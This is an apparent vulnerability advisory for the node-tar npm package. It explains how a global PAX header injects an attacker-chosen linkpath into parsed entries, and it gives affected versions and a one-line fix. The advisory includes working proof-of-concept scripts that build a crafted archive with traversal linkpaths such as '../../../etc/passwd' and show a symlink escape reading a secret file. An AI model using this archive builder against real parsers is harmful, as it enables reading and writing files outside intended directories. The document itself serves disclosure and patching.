HighGHSA-ffhw-4r4q-5cwvCVE-2026-140239

node-tar: Global PAX extended header injects attacker-controlled linkpath into tar.Parser entries, bypassing strict-mode validation

Published 2 Dec 2026 · Updated 2 Dec 2026

Affected package

tarnpm
Affected
<8.0.0
Fixed in
8.0.0
Update to the fixed version for your release line, for example:npm install tar@8.0.0

We confirm your address first. See our privacy policy.

Which tar does your project really install?

Drop your package-lock.json hereWe find the exact tar version you install, even when another package pulls it in, and tell you if it’s affected and what to run. Free, no sign-up.

Works for private projects: the file is read in memory to run the scan and then dropped. Also reads yarn.lock, pnpm-lock.yaml or package.json.

Public repo?

Look after several JavaScript apps? Indie watches up to 15 repos, private ones too, for $5 a month. See Indie

Details

Summary

A tar archive with a Global Extended Header (PAX type g) with a linkpath field injects that value into every entry returned by tar.Parser , including plain File and Directory entries, with zero warnings under strict: true. This happens because header.js's #slurp() correctly excludes linkpath from global headers, but read-entry.js's #slurp() does not apply the same filter. Any application that consumes tar.Parser or tar.list() directly and uses entry.linkpath to build paths or create symlinks, without revalidating the value, can be made to read or write files outside the intended directory via a crafted symlink.

---

Details

There are two separate #slurp() implementations apply Global Extended Header (g-type) fields to parsed state, and they filter different fields.

In src/header.js, #slurp(ex, gex = false) correctly excludes linkpath when gex is true:

// header.js (correct)
if (k === 'linkpath' && gex) continue;

In src/read-entry.js, the equivalent method has no such clause — it only excludes path:

// read-entry.js (bug: linkpath is not excluded)
if (k === 'path' && gex) continue;
// linkpath from the GEX is not filtered here

The execution flow:

1. parse.js calls Pax.parse(meta, gex, true) → stores the GEX object, including the linkpath field 2. header.js decode runs #slurp(gex, true) → correctly skips linkpath → header.linkpath is empty 3. consumeHeader() checks header.linkpath (empty) → the "linkpath forbidden in global header" warning never fires 4. ReadEntry constructor runs this.#slurp(gex, true) → no linkpath filter → entry.linkpath is set to the attacker's value with no warning raised

Confirmed against tar@7.5.22:

  • node_modules/tar/dist/commonjs/read-entry.js lines 122–132 (buggy #slurp)
  • node_modules/tar/dist/commonjs/header.js lines 184–194 (correct #slurp)

Scope note: tar's own extraction engine (Unpack, used by tar.x() / tar.extract()) has a separate guard, STRIPABSOLUTEPATH, that resolves linkpath relative to the entry's directory and rejects it if it escapes cwd. This guard fires after ReadEntry is constructed and blocks the traversal at extraction time:

  • tar.x() / tar.extract() → not vulnerable (confirmed: throws TAR_ENTRY_ERROR: linkpath escapes extraction directory)
  • tar.Parser / tar.list() direct consumers that trust entry.linkpath → vulnerable

---

Proof of Concept

Environment: Node.js v22.23.4, tar@7.5.22. Run: npm install tar@7.5.22 && node <script>.js

poc-tar1.js — zero-warning injection via tar.Parser with strict: true

const tar = require('tar')

function padBlock(buf) {
  const rem = buf.length % 512
  return rem === 0 ? buf : Buffer.concat([buf, Buffer.alloc(512 - rem)])
}
function mkHeader(fields) {
  const b = Buffer.alloc(512, 0)
  const ws = (s, off, len) =>
    b.write(String(s || '').slice(0, len).padEnd(len, '\0'), off, 'latin1')
  const wo = (n, off, len) =>
    ws(n.toString(8).padStart(len - 1, '0') + '\0', off, len)
  ws(fields.path  || 'file', 0,   100)
  wo(fields.mode  || 0o644,  100, 8)
  wo(0, 108, 8); wo(0, 116, 8)
  wo(fields.size  || 0,      124, 12)
  wo(Math.floor(Date.now() / 1000), 136, 12)
  b.write('        ', 148, 'latin1')
  ws(fields.type  || '0',    156, 1)
  ws(fields.linkpath || '',  157, 100)
  b.write('ustar\000', 257, 'latin1')
  b.write('00',        263, 'latin1')
  let sum = 0
  for (let i = 0; i < 512; i++) sum += b[i]
  wo(sum, 148, 8)
  return b
}
function mkGEX(kvpairs) {
  let body = ''
  for (const [k, v] of Object.entries(kvpairs)) {
    const keyval = ` ${k}=${v}\n`
    const len = String(keyval.length).length + keyval.length
    body += `${len} ${k}=${v}\n`
  }
  const bodyBuf = Buffer.from(body, 'utf8')
  const hdr = mkHeader({ path: 'GlobalPaxHeader', size: bodyBuf.length, type: 'g' })
  return Buffer.concat([hdr, padBlock(bodyBuf)])
}

const archive = Buffer.concat([
  mkGEX({ linkpath: '../../../etc/passwd' }),
  mkHeader({ path: 'README.md',    type: '0', size: 0 }),
  mkHeader({ path: 'src/index.js', type: '0', size: 0 }),
  mkHeader({ path: 'package.json', type: '0', size: 0 }),
  Buffer.alloc(1024, 0),
])

const warnings = []
const parser = new tar.Parser({ strict: true, onwarn: (c, m) => warnings.push(m) })
parser.on('entry', entry => {
  console.log(`${entry.path} | ${entry.type} | linkpath: ${entry.linkpath}`)
  entry.resume()
})
parser.on('end', () => {
  console.log('warnings under strict:true:', warnings.length === 0 ? 'NONE' : warnings)
})
parser.end(archive)

Expected output:

README.md    | File | linkpath: ../../../etc/passwd
src/index.js | File | linkpath: ../../../etc/passwd
package.json | File | linkpath: ../../../etc/passwd
warnings under strict:true: NONE

chain-tar1.js — arbitrary file read via a vulnerable downstream consumer

Models a tool that uses tar.Parser to inspect an archive and then acts on entry.linkpath without checking it:

const tar  = require('tar')
const fs   = require('fs')
const path = require('path')
const os   = require('os')

const tmpdir = fs.mkdtempSync(path.join(os.tmpdir(), 'chain-'))
const cwd    = path.join(tmpdir, 'extract')
const secret = path.join(tmpdir, 'secret.txt')
fs.mkdirSync(cwd)
fs.writeFileSync(secret, 'db_password=hunter2\napi_key=sk-REAL\n')

// Same helpers (padBlock, mkHeader, mkGEX) as poc-tar1.js above

const archive = Buffer.concat([
  mkGEX({ linkpath: '../../secret.txt' }),
  mkHeader({ path: 'subdir/link', type: '2', linkpath: 'safe' }),
  Buffer.alloc(1024, 0),
])

const parser = new tar.Parser()
parser.on('entry', entry => {
  if (entry.type === 'SymbolicLink') {
    const target   = entry.linkpath   // GEX-injected value
    const linkAt   = path.join(cwd, entry.path)
    fs.mkdirSync(path.dirname(linkAt), { recursive: true })
    fs.symlinkSync(target, linkAt)
    const resolved = path.resolve(path.dirname(linkAt), target)
    console.log('symlink:', linkAt, '->', target)
    console.log('escapes cwd:', !resolved.startsWith(cwd))
    if (fs.existsSync(resolved))
      console.log('READ:', fs.readFileSync(resolved, 'utf8'))
  }
  entry.resume()
})
parser.end(archive)

control-tar1-extraction-not-vulnerable.js — confirms tar.x() is not affected

The same archive fed to tar.x() throws TAR_ENTRY_ERROR: linkpath escapes extraction directory. The Unpack layer's STRIPABSOLUTEPATH guard blocks the traversal at extraction time.

---

Impact

CWE-20: Improper Input Validation CWE-345: Insufficient Verification of Data Authenticity

Impacted: any application or tool that uses tar.Parser or tar.list() directly and uses entry.linkpath to build filesystem paths, create symlinks, or make routing decisions without checking that the value stays within the expected directory. This includes archive inspection tools, CI/CD tarball scanners, and custom extraction logic built on top of the Parser API. It also breaks strict: true, which is supposed to throw on dangerous archive contents.

Not impacted: applications that only use tar.x() / tar.extract() for extraction, because Unpack's STRIPABSOLUTEPATH guard rejects an escaping linkpath at that layer.

Impact on a vulnerable consumer is arbitrary file read and/or write outside the extraction directory via a crafted symlink.

---

Suggested Fix

One line in src/read-entry.ts, inside #slurp(), adding the same filter that already exists in src/header.ts:

// before (read-entry.ts)
return !(v === null || v === undefined || (k === 'path' && gex));

// after
return !(v === null || v === undefined || (k === 'path' && gex) || (k === 'linkpath' && gex));

Is GHSA-ffhw-4r4q-5cwv in any of your client repos?

Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected tar, and gives you the command that fixes it.

More advisories for tar

  • HighCVE-2026-140234node-tar: Incomplete NUL-byte truncation in ustar, GNU, and PAX names causes name differentials and async crashes · 2 Dec 2026
  • HighCVE-2026-140235node-tar parses PAX extended headers by newline-splitting instead of length-delimiting, causing record dropping and forged-field injection · 2 Dec 2026
  • HighCVE-2026-140236node-tar: Archive framing differential from PAX size still being applied to GNU/PAX meta entries via ReadEntry and related size/precedence inconsistencies · 2 Dec 2026
  • MediumCVE-2026-140237node-tar: ReadEntry pending PAX size reapplication permits metadata-body file smuggling · 2 Dec 2026
  • HighCVE-2026-140238node-tar: Newline injection in PAX extended-header records enables entry-attribute forgery (path overwrite → npm postinstall RCE on Windows) · 2 Dec 2026
  • HighCVE-2026-140240node-tar: A small archive exhausts memory or CPU through path-reservation bookkeeping · 2 Dec 2026
All 39 advisories for tar

References

Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.